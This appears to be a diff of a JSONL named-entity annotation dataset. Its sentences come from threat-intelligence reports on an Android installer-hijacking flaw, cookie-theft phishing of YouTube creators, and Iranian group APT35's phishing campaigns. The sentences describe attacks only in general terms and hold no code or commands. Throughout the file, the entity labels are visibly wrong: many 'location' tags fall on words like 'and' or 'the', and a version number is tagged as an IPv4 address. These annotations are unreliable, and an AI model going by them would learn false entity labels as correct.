-{"id":7955,"text":"Like the example we show with Amazon appstore app, the unprotected storage in \/sdcard may allow attackers to replace the promoted apps with malware apps.","entities":[{"id":24652,"label":"location","start_offset":86,"end_offset":89}],"relations":[],"Comments":[]}
-{"id":7956,"text":" We have successfully tested both exploits against Android 2.3, 4.0.3-4.0.4, 4.1.X, and 4.2.x.","entities":[{"id":24653,"label":"location","start_offset":84,"end_offset":87}],"relations":[],"Comments":[]}
-{"id":7957,"text":"According to Android Dashboard, this vulnerability affected approximately 89.4 percent of the Android population as of January 2014 (when we first discovered it), and approximately 49.5 percent of the Android population as of March 2015.","entities":[{"id":24656,"label":"location","start_offset":163,"end_offset":166}],"relations":[],"Comments":[]}
-{"id":7958,"text":" These exploits do not require the device to be rooted, but rooted devices are more vulnerable.","entities":[{"id":24659,"label":"location","start_offset":75,"end_offset":78}],"relations":[],"Comments":[]}
-{"id":7959,"text":"Be aware that some phone vendors’ Android 4.3 distributions may contain this vulnerability as well.","entities":[{"id":24660,"label":"location","start_offset":60,"end_offset":63}],"relations":[],"Comments":[]}
 {"id":7960,"text":" According to source code posted on the AOSP website, Android 4.3_r0.9 introduced a hash check of the Android manifest that is verified between “Time to Check” and “Time to Use”.","entities":[{"id":24661,"label":"attack-pattern","start_offset":14,"end_offset":20},{"id":24662,"label":"location","start_offset":89,"end_offset":94},{"id":24663,"label":"location","start_offset":110,"end_offset":118},{"id":24664,"label":"location","start_offset":136,"end_offset":143},{"id":24665,"label":"location","start_offset":145,"end_offset":149},{"id":24666,"label":"location","start_offset":153,"end_offset":158},{"id":24667,"label":"location","start_offset":160,"end_offset":163},{"id":24668,"label":"location","start_offset":165,"end_offset":169}],"relations":[],"Comments":[]}
-{"id":7961,"text":"However, we have found that there are some phone vendors’ Android 4.3 distributions that do not include this check.","entities":[{"id":24669,"label":"location","start_offset":34,"end_offset":37},{"id":24670,"label":"location","start_offset":109,"end_offset":114}],"relations":[],"Comments":[]}
 {"id":7962,"text":"For instance, we have successfully tested this exploit on Samsung Galaxy S4 Android phones running Android 4.3 (Build version JSS15J.I337UCUEMK2, Built on Nov. 16, 2013), and Amazon Fire OS version 13.3.2.5.","entities":[{"id":24674,"label":"location","start_offset":171,"end_offset":174},{"id":24676,"label":"IPV4","start_offset":198,"end_offset":206}],"relations":[],"Comments":[]}
-{"id":7963,"text":"Both Samsung and Amazon have released fixed on their affected devices after receiving our vulnerability reports.","entities":[{"id":24677,"label":"location","start_offset":13,"end_offset":16}],"relations":[],"Comments":[]}
 {"id":7964,"text":" We encourage all Android device vendors to verify the existence of this vulnerability on their devices including those with Android 4.3.","entities":[],"relations":[],"Comments":[]}
-{"id":7965,"text":" Android version 4.4 and later versions have fixed this vulnerability.","entities":[{"id":24679,"label":"location","start_offset":21,"end_offset":24}],"relations":[],"Comments":[]}
 {"id":7966,"text":" Palo Alto Networks has published a vulnerability scanner app in the Google Play store.","entities":[],"relations":[],"Comments":[]}
-{"id":7967,"text":"Also, we have recorded a tutorial video about how to check the existence of installer hijacking vulnerability with our vulnerability scanner app, available here.","entities":[{"id":24681,"label":"location","start_offset":53,"end_offset":58}],"relations":[],"Comments":[]}
-{"id":7968,"text":" To facilitate security researchers and other vendors, we have also open sourced the vulnerability scanner app on Github at https:\/\/github.com\/PaloAltoNetworks-BD\/InstallerHijackingVulnerabilityScanner.","entities":[{"id":24682,"label":"location","start_offset":15,"end_offset":23},{"id":24683,"label":"location","start_offset":36,"end_offset":39}],"relations":[],"Comments":[]}
-{"id":7969,"text":" Enterprises concerned about the risk should take the following steps:  App developers concerned about the risk should save the downloaded APK files to protected storage space only.","entities":[{"id":24685,"label":"location","start_offset":119,"end_offset":123},{"id":24686,"label":"location","start_offset":176,"end_offset":180}],"relations":[],"Comments":[]}
 {"id":7970,"text":" From Google:  “Android Open Source Project includes patches for this issue for Android 4.3 and later.","entities":[{"id":24688,"label":"attack-pattern","start_offset":29,"end_offset":35},{"id":24689,"label":"location","start_offset":70,"end_offset":75},{"id":24690,"label":"location","start_offset":92,"end_offset":95}],"relations":[],"Comments":[]}
-{"id":7971,"text":" The patch is available for review here:  https:\/\/android.googlesource.com\/platform\/packages\/apps\/PackageInstaller\/+\/2b3202c3ff18469b294629bf1416118f12492173  The Android Security Team has not detected any attempts to exploit this vulnerability on user devices.”  ","entities":[{"id":24692,"label":"location","start_offset":171,"end_offset":179}],"relations":[],"Comments":[]}
-{"id":7972,"text":"From Amazon:  \"Customers should move to the latest version of the Amazon AppStore which gets updated automatically on Fire devices and for 3rd party Android devices it can be updated via www.amazon.com\/getappstore.\"","entities":[{"id":24694,"label":"location","start_offset":131,"end_offset":134},{"id":24695,"label":"location","start_offset":168,"end_offset":171}],"relations":[],"Comments":[]}
-{"id":7973,"text":"We would like to thank Ryan Olson, Huagang Xie, Claud Xiao, Colt Blackmore, and Taylor Ettema from Palo Alto Networks for their great help in verifying the vulnerability and communicating with vendors.","entities":[{"id":24701,"label":"location","start_offset":76,"end_offset":79},{"id":24704,"label":"location","start_offset":170,"end_offset":173}],"relations":[],"Comments":[]}
-{"id":7974,"text":"We also greatly appreciate the help from Scott Simkin, JL Watkins, Baoyue Hu, and Erik Jacobsen from Palo Alto Networks in publishing the discovery and building the scanner app.","entities":[{"id":24708,"label":"location","start_offset":78,"end_offset":81},{"id":24711,"label":"location","start_offset":148,"end_offset":151}],"relations":[],"Comments":[]}
-{"id":7975,"text":"We appreciate the cooperation with Samsung Knox team, Google Android Security team, and Amazon Web Services & Lab126 for working with us on verifying and patching this vulnerability.","entities":[{"id":24715,"label":"location","start_offset":69,"end_offset":77},{"id":24716,"label":"location","start_offset":84,"end_offset":87},{"id":24718,"label":"location","start_offset":150,"end_offset":153}],"relations":[],"Comments":[]}
-{"id":7976,"text":" Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!  Please mark, I'm not a robot!  ","entities":[{"id":24719,"label":"location","start_offset":63,"end_offset":66},{"id":24720,"label":"location","start_offset":92,"end_offset":97},{"id":24721,"label":"location","start_offset":126,"end_offset":130}],"relations":[],"Comments":[]}
-{"id":7977,"text":"By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.","entities":[{"id":24722,"label":"location","start_offset":55,"end_offset":58}],"relations":[],"Comments":[]}
-{"id":7978,"text":"Google’s Threat Analysis Group tracks actors involved in disinformation campaigns, government backed hacking, and financially motivated abuse.","entities":[{"id":24724,"label":"location","start_offset":110,"end_offset":113}],"relations":[],"Comments":[]}
 {"id":7979,"text":"Since late 2019, our team has disrupted financially motivated phishing campaigns targeting YouTubers with Cookie Theft malware.","entities":[{"id":24726,"label":"attack-pattern","start_offset":62,"end_offset":70}],"relations":[],"Comments":[]}
 {"id":7980,"text":"The actors behind this campaign, which we attribute to a group of hackers recruited in a Russian-speaking forum, lure their target with fake collaboration opportunities (typically a demo for anti-virus software, VPN, music players, photo editing or online games), hijack their channel, then either sell it to the highest bidder or use it to broadcast cryptocurrency scams.","entities":[{"id":24728,"label":"location","start_offset":23,"end_offset":31},{"id":24730,"label":"location","start_offset":113,"end_offset":117},{"id":24731,"label":"location","start_offset":124,"end_offset":130},{"id":24732,"label":"tools","start_offset":232,"end_offset":237}],"relations":[],"Comments":[]}
 {"id":7981,"text":"In collaboration with YouTube, Gmail, Trust & Safety, CyberCrime Investigation Group and Safe Browsing teams, our protections have decreased the volume of related phishing emails on Gmail by 99.6% since May 2021.","entities":[{"id":24737,"label":"location","start_offset":85,"end_offset":88},{"id":24739,"label":"attack-pattern","start_offset":163,"end_offset":171}],"relations":[],"Comments":[]}
 {"id":7982,"text":"We blocked 1.6M messages to targets, displayed ~62K Safe Browsing phishing page warnings, blocked 2.4K files, and successfully restored ~4K accounts.","entities":[{"id":24745,"label":"location","start_offset":52,"end_offset":56},{"id":24746,"label":"attack-pattern","start_offset":66,"end_offset":74},{"id":24747,"label":"location","start_offset":75,"end_offset":79},{"id":24750,"label":"location","start_offset":110,"end_offset":113}],"relations":[],"Comments":[]}
-{"id":7983,"text":"With increased detection efforts, we’ve observed attackers shifting away from Gmail to other email providers (mostly email.cz, seznam.cz, post.cz and aol.com).","entities":[{"id":24756,"label":"location","start_offset":146,"end_offset":149}],"relations":[],"Comments":[]}
 {"id":7984,"text":"Moreover, to protect our users, we have referred the below activity to the FBI for further investigation.","entities":[],"relations":[],"Comments":[]}
-{"id":7985,"text":"In this blog, we share examples of the specific tactics, techniques and procedures (TTPs) used to lure victims, as well as some guidance on how users can further protect themselves.","entities":[{"id":24759,"label":"location","start_offset":68,"end_offset":71},{"id":24760,"label":"location","start_offset":98,"end_offset":102},{"id":24761,"label":"location","start_offset":150,"end_offset":153}],"relations":[],"Comments":[]}
 {"id":7986,"text":"Cookie Theft, also known as “pass-the-cookie attack,” is a session hijacking technique that enables access to user accounts with session cookies stored in the browser.","entities":[{"id":24762,"label":"attack-pattern","start_offset":59,"end_offset":76}],"relations":[],"Comments":[]}
-{"id":7987,"text":"While the technique has been around for decades, its resurgence as a top security risk could be due to a wider adoption of multi-factor authentication (MFA) making it difficult to conduct abuse, and shifting attacker focus to social engineering tactics.","entities":[{"id":24764,"label":"location","start_offset":73,"end_offset":81},{"id":24765,"label":"location","start_offset":195,"end_offset":198}],"relations":[],"Comments":[]}
-{"id":7988,"text":" Many YouTube creators provide an email address on their channel for business opportunities.","entities":[{"id":24766,"label":"location","start_offset":1,"end_offset":5}],"relations":[],"Comments":[]}
-{"id":7989,"text":"In this case, the attackers sent forged business emails impersonating an existing company requesting a video advertisement collaboration.","entities":[{"id":24768,"label":"location","start_offset":8,"end_offset":12}],"relations":[],"Comments":[]}
 {"id":7990,"text":"The phishing typically started with a customized email introducing the company and its products.","entities":[{"id":24769,"label":"attack-pattern","start_offset":4,"end_offset":12},{"id":24770,"label":"location","start_offset":79,"end_offset":82}],"relations":[],"Comments":[]}
 {"id":7991,"text":"Once the target agreed to the deal, a malware landing page disguised as a software download URL was sent via email or a PDF on Google Drive, and in a few cases, Google documents containing the phishing links.","entities":[{"id":24771,"label":"location","start_offset":9,"end_offset":15},{"id":24772,"label":"location","start_offset":30,"end_offset":34},{"id":24773,"label":"location","start_offset":46,"end_offset":53},{"id":24774,"label":"location","start_offset":54,"end_offset":58},{"id":24776,"label":"location","start_offset":141,"end_offset":144},{"id":24778,"label":"attack-pattern","start_offset":193,"end_offset":201}],"relations":[],"Comments":[]}
-{"id":7992,"text":"Around 15,000 actor accounts were identified, most of which were created for this campaign specifically.","entities":[{"id":24780,"label":"location","start_offset":46,"end_offset":50},{"id":24781,"label":"location","start_offset":82,"end_offset":90}],"relations":[],"Comments":[]}
-{"id":7993,"text":" The attackers registered various domains associated with forged companies and built multiple websites for malware delivery.","entities":[{"id":24782,"label":"location","start_offset":75,"end_offset":78}],"relations":[],"Comments":[]}
-{"id":7994,"text":"To date, we’ve identified at least 1,011 domains created solely for this purpose.","entities":[{"id":24783,"label":"location","start_offset":3,"end_offset":7}],"relations":[],"Comments":[]}
-{"id":7995,"text":"Some of the websites impersonated legitimate software sites, such as Luminar, Cisco VPN, games on Steam, and some were generated using online templates.","entities":[{"id":24785,"label":"location","start_offset":54,"end_offset":59},{"id":24789,"label":"location","start_offset":105,"end_offset":108}],"relations":[],"Comments":[]}
 {"id":7996,"text":"During the pandemic, we also uncovered attackers posing as news providers with a “Covid19 news software.”","entities":[],"relations":[],"Comments":[]}
-{"id":7997,"text":"In one case, we observed a fake social media page copying content from an existing software company.","entities":[{"id":24792,"label":"location","start_offset":7,"end_offset":11},{"id":24793,"label":"location","start_offset":39,"end_offset":44},{"id":24794,"label":"location","start_offset":45,"end_offset":49},{"id":24795,"label":"location","start_offset":58,"end_offset":65}],"relations":[],"Comments":[]}
-{"id":7998,"text":"The following screenshot is an example of a fake page where the original URL is replaced with one leading to a cookie theft malware download.","entities":[{"id":24796,"label":"location","start_offset":49,"end_offset":53},{"id":24797,"label":"location","start_offset":94,"end_offset":97}],"relations":[],"Comments":[]}
 {"id":7999,"text":"Because Google actively detects and disrupts phishing links sent via Gmail, the actors were observed driving targets to messaging apps like WhatsApp, Telegram or Discord.","entities":[{"id":24799,"label":"location","start_offset":32,"end_offset":35},{"id":24800,"label":"attack-pattern","start_offset":45,"end_offset":53}],"relations":[],"Comments":[]}
-{"id":8000,"text":" Once the target runs the fake software, a cookie stealing malware executes, taking browser cookies from the victim’s machine and uploading them to the actor's command & control servers.","entities":[{"id":24805,"label":"location","start_offset":10,"end_offset":16},{"id":24806,"label":"location","start_offset":126,"end_offset":129},{"id":24807,"label":"location","start_offset":140,"end_offset":144}],"relations":[],"Comments":[]}
-{"id":8001,"text":"Although this type of malware can be configured to be persistent on the victim's machine, these actors are running all malware in non-persistent mode as a smash-and-grab technique.","entities":[{"id":24808,"label":"location","start_offset":14,"end_offset":18},{"id":24809,"label":"location","start_offset":30,"end_offset":33},{"id":24810,"label":"location","start_offset":103,"end_offset":106},{"id":24811,"label":"location","start_offset":145,"end_offset":149},{"id":24812,"label":"location","start_offset":161,"end_offset":164}],"relations":[],"Comments":[]}
-{"id":8002,"text":"This is because if the malicious file is not detected when executed, there are less artifacts on an infected host and therefore security products fail to notify the user of a past compromise.","entities":[{"id":24813,"label":"location","start_offset":75,"end_offset":78},{"id":24814,"label":"location","start_offset":109,"end_offset":113},{"id":24815,"label":"location","start_offset":114,"end_offset":117},{"id":24816,"label":"location","start_offset":128,"end_offset":136}],"relations":[],"Comments":[]}
-{"id":8003,"text":"We have observed that actors use various types of malware based on personal preference, most of which are easily available on Github.","entities":[{"id":24817,"label":"location","start_offset":88,"end_offset":92},{"id":24818,"label":"location","start_offset":102,"end_offset":105}],"relations":[],"Comments":[]}
 {"id":8004,"text":"Some commodity malware used included RedLine, Vidar, Predator The Thief, Nexus stealer, Azorult, Raccoon, Grand Stealer, Vikro Stealer, Masad (Google’s naming), and Kantal (Google’s naming) which shares code similarity with Vidar.","entities":[{"id":24823,"label":"malware","start_offset":79,"end_offset":86},{"id":24830,"label":"location","start_offset":161,"end_offset":164}],"relations":[],"Comments":[]}
 {"id":8005,"text":"Open source malware like Sorano and AdamantiumThief were also observed.","entities":[{"id":24834,"label":"attack-pattern","start_offset":5,"end_offset":11},{"id":24836,"label":"location","start_offset":32,"end_offset":35}],"relations":[],"Comments":[]}
-{"id":8006,"text":"Related hashes are listed in the Technical Details section, at the end of this report.","entities":[{"id":24837,"label":"location","start_offset":15,"end_offset":18},{"id":24838,"label":"location","start_offset":51,"end_offset":58}],"relations":[],"Comments":[]}
-{"id":8007,"text":"Most of the observed malware was capable of stealing both user passwords and cookies.","entities":[{"id":24839,"label":"location","start_offset":0,"end_offset":4},{"id":24840,"label":"location","start_offset":73,"end_offset":76}],"relations":[],"Comments":[]}
-{"id":8008,"text":"Some of the samples employed several anti-sandboxing techniques including enlarged files, encrypted archive and download IP cloaking.","entities":[{"id":24841,"label":"location","start_offset":108,"end_offset":111}],"relations":[],"Comments":[]}
 {"id":8009,"text":"A few were observed displaying a fake error message requiring user click-through to continue execution.","entities":[],"relations":[],"Comments":[]}
-{"id":8010,"text":" A large number of hijacked channels were rebranded for cryptocurrency scam live-streaming.","entities":[{"id":24842,"label":"location","start_offset":3,"end_offset":8}],"relations":[],"Comments":[]}
-{"id":8011,"text":"The channel name, profile picture and content were all replaced with cryptocurrency branding to impersonate large tech or cryptocurrency exchange firms.","entities":[{"id":24843,"label":"location","start_offset":34,"end_offset":37},{"id":24844,"label":"location","start_offset":38,"end_offset":45},{"id":24845,"label":"location","start_offset":108,"end_offset":113},{"id":24846,"label":"location","start_offset":137,"end_offset":145},{"id":24847,"label":"location","start_offset":146,"end_offset":151}],"relations":[],"Comments":[]}
-{"id":8012,"text":"The attacker live-streamed videos promising cryptocurrency giveaways in exchange for an initial contribution.","entities":[{"id":24848,"label":"location","start_offset":72,"end_offset":80}],"relations":[],"Comments":[]}
 {"id":8013,"text":"On account-trading markets, hijacked channels ranged from $3 USD to $4,000 USD depending on the number of subscribers.","entities":[],"relations":[],"Comments":[]}
-{"id":8014,"text":" These campaigns were carried out by a number of hack-for-hire actors recruited on Russian-speaking forums via the following job description, offering two types of work: This recruitment model explains the highly customized social engineering, as well as the varied malware types given each actor's choice of preferred malware.","entities":[{"id":24849,"label":"location","start_offset":49,"end_offset":53},{"id":24851,"label":"location","start_offset":125,"end_offset":128},{"id":24853,"label":"location","start_offset":187,"end_offset":192},{"id":24854,"label":"location","start_offset":280,"end_offset":285},{"id":24855,"label":"location","start_offset":299,"end_offset":305}],"relations":[],"Comments":[]}
-{"id":8015,"text":" We are continuously improving our detection methods and investing in new tools and features that automatically identify and stop threats like this one.","entities":[{"id":24856,"label":"location","start_offset":4,"end_offset":7},{"id":24857,"label":"location","start_offset":53,"end_offset":56},{"id":24858,"label":"location","start_offset":80,"end_offset":83},{"id":24859,"label":"location","start_offset":121,"end_offset":124},{"id":24860,"label":"location","start_offset":125,"end_offset":129},{"id":24861,"label":"location","start_offset":148,"end_offset":151}],"relations":[],"Comments":[]}
-{"id":8016,"text":"Some of these improvements include: It is also important that users remain aware of these types of threats and take appropriate action to further protect themselves.","entities":[{"id":24862,"label":"location","start_offset":107,"end_offset":110},{"id":24863,"label":"location","start_offset":128,"end_offset":134}],"relations":[],"Comments":[]}
 {"id":8017,"text":"Our recommendations: Additional resources: Avoid & Report Phishing Emails.","entities":[{"id":24864,"label":"attack-pattern","start_offset":58,"end_offset":66}],"relations":[],"Comments":[]}
 {"id":8018,"text":"Related Malware hashes: Top Phishing Domains:","entities":[{"id":24865,"label":"attack-pattern","start_offset":28,"end_offset":36}],"relations":[],"Comments":[]}
-{"id":8019,"text":"Google’s Threat Analysis Group tracks actors involved in disinformation campaigns, government backed hacking, and financially motivated abuse.","entities":[{"id":24867,"label":"location","start_offset":110,"end_offset":113}],"relations":[],"Comments":[]}
 {"id":8020,"text":"We have a long-standing policy to send you a warning if we detect that your account is a target of government-backed phishing or malware attempts.","entities":[{"id":24868,"label":"location","start_offset":10,"end_offset":14},{"id":24869,"label":"location","start_offset":89,"end_offset":95},{"id":24870,"label":"attack-pattern","start_offset":117,"end_offset":125}],"relations":[],"Comments":[]}
-{"id":8021,"text":"So far in 2021, we’ve sent over 50,000 warnings, a nearly 33% increase from this time in 2020.","entities":[{"id":24874,"label":"location","start_offset":81,"end_offset":85}],"relations":[],"Comments":[]}
-{"id":8022,"text":"This spike is largely due to blocking an unusually large campaign from a Russian actor known as APT28 or Fancy Bear.","entities":[{"id":24876,"label":"location","start_offset":51,"end_offset":56},{"id":24877,"label":"location","start_offset":57,"end_offset":65}],"relations":[],"Comments":[]}
-{"id":8023,"text":"We intentionally send these warnings in batches to all users who may be at risk, rather than at the moment we detect the threat itself, so that attackers cannot track our defense strategies.","entities":[{"id":24881,"label":"location","start_offset":65,"end_offset":68},{"id":24882,"label":"location","start_offset":154,"end_offset":157}],"relations":[],"Comments":[]}
 {"id":8024,"text":"On any given day, TAG is tracking more than 270 targeted or government-backed attacker groups from more than 50 countries.","entities":[],"relations":[],"Comments":[]}
-{"id":8025,"text":"This means that there is typically more than one threat actor behind the warnings.","entities":[{"id":24887,"label":"location","start_offset":5,"end_offset":10}],"relations":[],"Comments":[]}
 {"id":8026,"text":"In this blog, we explore some of the most notable campaigns we’ve disrupted this year from a different government-backed attacker: APT35, an Iranian group, which regularly conducts phishing campaigns targeting high risk users.","entities":[{"id":24889,"label":"location","start_offset":37,"end_offset":41},{"id":24893,"label":"attack-pattern","start_offset":181,"end_offset":189}],"relations":[],"Comments":[]}
-{"id":8027,"text":"This is the one of the groups we disrupted during the 2020 US election cycle for its targeting of campaign staffers.","entities":[{"id":24894,"label":"location","start_offset":12,"end_offset":15},{"id":24897,"label":"location","start_offset":71,"end_offset":76},{"id":24898,"label":"location","start_offset":98,"end_offset":106}],"relations":[],"Comments":[]}
-{"id":8028,"text":"For years, this group has hijacked accounts, deployed malware, and used novel techniques to conduct espionage aligned with the interests of the Iranian government.","entities":[{"id":24900,"label":"location","start_offset":63,"end_offset":66}],"relations":[],"Comments":[]}
-{"id":8029,"text":"In early 2021, APT35 compromised a website affiliated with a UK university to host a phishing kit.","entities":[{"id":24903,"label":"APT","start_offset":15,"end_offset":20},{"id":24905,"label":"location","start_offset":64,"end_offset":74},{"id":24906,"label":"location","start_offset":78,"end_offset":82},{"id":24907,"label":"attack-pattern","start_offset":85,"end_offset":93}],"relations":[],"Comments":[]}
-{"id":8030,"text":"Attackers sent email messages with links to this website to harvest credentials for platforms such as Gmail, Hotmail, and Yahoo.","entities":[{"id":24908,"label":"location","start_offset":60,"end_offset":67},{"id":24911,"label":"location","start_offset":118,"end_offset":121}],"relations":[],"Comments":[]}
+{"id":8029,"text":"In early 2021, APT35 compromised a website affiliated with a UK university to host a phishing kit.","entities":[{"id":24903,"label":"threat-actor","start_offset":15,"end_offset":20},{"id":24905,"label":"location","start_offset":64,"end_offset":74},{"id":24906,"label":"location","start_offset":78,"end_offset":82},{"id":24907,"label":"attack-pattern","start_offset":85,"end_offset":93}],"relations":[],"Comments":[]}
 {"id":8031,"text":"Users were instructed to activate an invitation to a (fake) webinar by logging in.","entities":[],"relations":[],"Comments":[]}
 {"id":8032,"text":"The phishing kit will also ask for second-factor authentication codes sent to devices.","entities":[{"id":24913,"label":"attack-pattern","start_offset":4,"end_offset":12},{"id":24914,"label":"location","start_offset":17,"end_offset":21}],"relations":[],"Comments":[]}
-{"id":8033,"text":"APT35 has relied on this technique since 2017 — targeting high-value accounts in government, academia, journalism, NGOs, foreign policy, and national security.","entities":[{"id":24916,"label":"APT","start_offset":0,"end_offset":5},{"id":24918,"label":"location","start_offset":93,"end_offset":101},{"id":24920,"label":"location","start_offset":137,"end_offset":140},{"id":24921,"label":"location","start_offset":141,"end_offset":149},{"id":24922,"label":"location","start_offset":150,"end_offset":158}],"relations":[],"Comments":[]}
+{"id":8033,"text":"APT35 has relied on this technique since 2017 — targeting high-value accounts in government, academia, journalism, NGOs, foreign policy, and national security.","entities":[{"id":24916,"label":"threat-actor","start_offset":0,"end_offset":5},{"id":24918,"label":"location","start_offset":93,"end_offset":101},{"id":24920,"label":"location","start_offset":137,"end_offset":140},{"id":24921,"label":"location","start_offset":141,"end_offset":149},{"id":24922,"label":"location","start_offset":150,"end_offset":158}],"relations":[],"Comments":[]}
 {"id":8034,"text":"Credential phishing through a compromised website demonstrates these attackers will go to great lengths to appear legitimate – as they know it's difficult for users to detect this kind of attack.","entities":[{"id":24923,"label":"attack-pattern","start_offset":11,"end_offset":19},{"id":24924,"label":"location","start_offset":79,"end_offset":83}],"relations":[],"Comments":[]}
 {"id":8035,"text":"In May 2020, we discovered that APT35 attempted to upload spyware to the Google Play Store.","entities":[],"relations":[],"Comments":[]}
-{"id":8036,"text":"The app was disguised as VPN software that, if installed, could steal sensitive information such as call logs, text messages, contacts, and location data from devices.","entities":[{"id":24928,"label":"location","start_offset":100,"end_offset":104},{"id":24929,"label":"location","start_offset":136,"end_offset":139}],"relations":[],"Comments":[]}
-{"id":8037,"text":"Google detected the app quickly and removed it from the Play Store before any users had a chance to install it.","entities":[{"id":24931,"label":"location","start_offset":32,"end_offset":35},{"id":24933,"label":"location","start_offset":90,"end_offset":96}],"relations":[],"Comments":[]}
 {"id":8038,"text":"Although Play Store users were protected, we are highlighting the app here as TAG has seen APT35 attempt to distribute this spyware on other platforms as recently as July 2021.","entities":[{"id":24935,"label":"location","start_offset":45,"end_offset":48},{"id":24936,"label":"threat-actor","start_offset":91,"end_offset":96}],"relations":[],"Comments":[]}
 {"id":8039,"text":"One of the most notable characteristics of APT35 is their impersonation of conference officials to conduct phishing attacks.","entities":[{"id":24939,"label":"location","start_offset":11,"end_offset":15},{"id":24941,"label":"attack-pattern","start_offset":107,"end_offset":115}],"relations":[],"Comments":[]}
-{"id":8040,"text":"Attackers used the Munich Security and the Think-20 (T20) Italy conferences as lures in non-malicious first contact email messages to get users to respond.","entities":[{"id":24943,"label":"location","start_offset":35,"end_offset":38},{"id":24944,"label":"location","start_offset":58,"end_offset":63},{"id":24946,"label":"location","start_offset":108,"end_offset":115}],"relations":[],"Comments":[]}
 {"id":8041,"text":"When they did, attackers sent them phishing links in follow-on correspondence.","entities":[{"id":24947,"label":"location","start_offset":30,"end_offset":34},{"id":24948,"label":"attack-pattern","start_offset":35,"end_offset":43}],"relations":[],"Comments":[]}
 {"id":8042,"text":"Targets typically had to navigate through at least one redirect before landing on a phishing domain.","entities":[{"id":24950,"label":"location","start_offset":71,"end_offset":78},{"id":24951,"label":"attack-pattern","start_offset":84,"end_offset":92}],"relations":[],"Comments":[]}
-{"id":8043,"text":"Link shorteners and click trackers are heavily used for this purpose, and are oftentimes embedded within PDF files.","entities":[{"id":24952,"label":"location","start_offset":16,"end_offset":19},{"id":24953,"label":"location","start_offset":35,"end_offset":38},{"id":24954,"label":"location","start_offset":70,"end_offset":73},{"id":24955,"label":"location","start_offset":74,"end_offset":77}],"relations":[],"Comments":[]}
-{"id":8044,"text":"We’ve disrupted attacks using Google Drive, App Scripts, and Sites pages in these campaigns as APT35 tries to get around our defenses.","entities":[{"id":24958,"label":"location","start_offset":57,"end_offset":60}],"relations":[],"Comments":[]}
-{"id":8045,"text":"Services from Dropbox and Microsoft are also abused.","entities":[{"id":24962,"label":"location","start_offset":22,"end_offset":25},{"id":24964,"label":"location","start_offset":36,"end_offset":39}],"relations":[],"Comments":[]}
 {"id":8046,"text":"One of APT35’s novel techniques involves using Telegram for operator notifications.","entities":[],"relations":[],"Comments":[]}
 {"id":8047,"text":"The attackers embed javascript into phishing pages that notify them when the page has been loaded.","entities":[{"id":24968,"label":"attack-pattern","start_offset":36,"end_offset":44},{"id":24969,"label":"location","start_offset":63,"end_offset":67},{"id":24970,"label":"location","start_offset":77,"end_offset":81}],"relations":[],"Comments":[]}
-{"id":8048,"text":"To send the notification, they use the Telegram API sendMessage function, which lets anyone use a Telegram bot to send a message to a public channel.","entities":[{"id":24973,"label":"location","start_offset":134,"end_offset":140}],"relations":[],"Comments":[]}
 {"id":8049,"text":"The attackers use this function to relay device-based data to the channel, so they can see details such as the IP, useragent, and locales of visitors to their phishing sites in real-time.","entities":[{"id":24974,"label":"location","start_offset":83,"end_offset":86},{"id":24975,"label":"location","start_offset":126,"end_offset":129},{"id":24976,"label":"attack-pattern","start_offset":159,"end_offset":167},{"id":24977,"label":"location","start_offset":168,"end_offset":173},{"id":24978,"label":"location","start_offset":177,"end_offset":181},{"id":24979,"label":"location","start_offset":182,"end_offset":186}],"relations":[],"Comments":[]}
-{"id":8050,"text":"We reported the bot to Telegram and they have taken action to remove it.","entities":[{"id":24981,"label":"location","start_offset":32,"end_offset":35},{"id":24982,"label":"location","start_offset":52,"end_offset":58}],"relations":[],"Comments":[]}
-{"id":8051,"text":"We warn users when we suspect a government-backed threat like APT35 is targeting them.","entities":[{"id":24983,"label":"APT","start_offset":62,"end_offset":67},{"id":24984,"label":"location","start_offset":81,"end_offset":85}],"relations":[],"Comments":[]}
-{"id":8052,"text":"Thousands of these warnings are sent every month, even in cases where the corresponding attack is blocked.","entities":[{"id":24986,"label":"location","start_offset":28,"end_offset":31}],"relations":[],"Comments":[]}
-{"id":8053,"text":"If you receive a warning it does not mean your account has been compromised, it means you have been identified as a target.","entities":[{"id":24988,"label":"location","start_offset":80,"end_offset":85},{"id":24989,"label":"location","start_offset":116,"end_offset":122}],"relations":[],"Comments":[]}
-{"id":8054,"text":"Workspace administrators are also notified regarding targeted accounts in their domain.","entities":[{"id":24990,"label":"location","start_offset":25,"end_offset":28}],"relations":[],"Comments":[]}
-{"id":8055,"text":"Users are encouraged to take these warnings seriously and consider enrolling in the Advanced Protection Program or enabling two-factor authentication if they haven't already.","entities":[{"id":24991,"label":"location","start_offset":6,"end_offset":9},{"id":24992,"label":"location","start_offset":54,"end_offset":57}],"relations":[],"Comments":[]}
-{"id":8056,"text":"We also block malicious domains using Google Safe Browsing – a service that Google's security team built to identify unsafe websites across the web and notify users and website owners of potential harm.","entities":[{"id":24997,"label":"location","start_offset":85,"end_offset":93},{"id":24998,"label":"location","start_offset":148,"end_offset":151},{"id":24999,"label":"location","start_offset":165,"end_offset":168}],"relations":[],"Comments":[]}
-{"id":8057,"text":"When a user of a Safe Browsing-enabled browser or app attempts to access unsafe content on the web, they’ll see a warning page explaining that the content they’re trying to access may be harmful.","entities":[{"id":25001,"label":"location","start_offset":80,"end_offset":87},{"id":25002,"label":"location","start_offset":122,"end_offset":126},{"id":25003,"label":"location","start_offset":147,"end_offset":154},{"id":25004,"label":"location","start_offset":180,"end_offset":183}],"relations":[],"Comments":[]}
+{"id":8051,"text":"We warn users when we suspect a government-backed threat like APT35 is targeting them.","entities":[{"id":24983,"label":"threat-actor","start_offset":62,"end_offset":67},{"id":24984,"label":"location","start_offset":81,"end_offset":85}],"relations":[],"Comments":[]}
 {"id":8058,"text":"When a site identified by Safe Browsing as harmful appears in Google Search results, we show a warning next to it in the results.","entities":[],"relations":[],"Comments":[]}
-{"id":8059,"text":"Threat Analysis Group will continue to identify bad actors and share relevant information with others in the industry, with the goal of bringing awareness to these issues, protecting you and fighting bad actors to prevent future attacks.","entities":[{"id":25008,"label":"location","start_offset":22,"end_offset":26},{"id":25009,"label":"location","start_offset":59,"end_offset":62},{"id":25010,"label":"location","start_offset":109,"end_offset":117},{"id":25011,"label":"location","start_offset":187,"end_offset":190}],"relations":[],"Comments":[]}
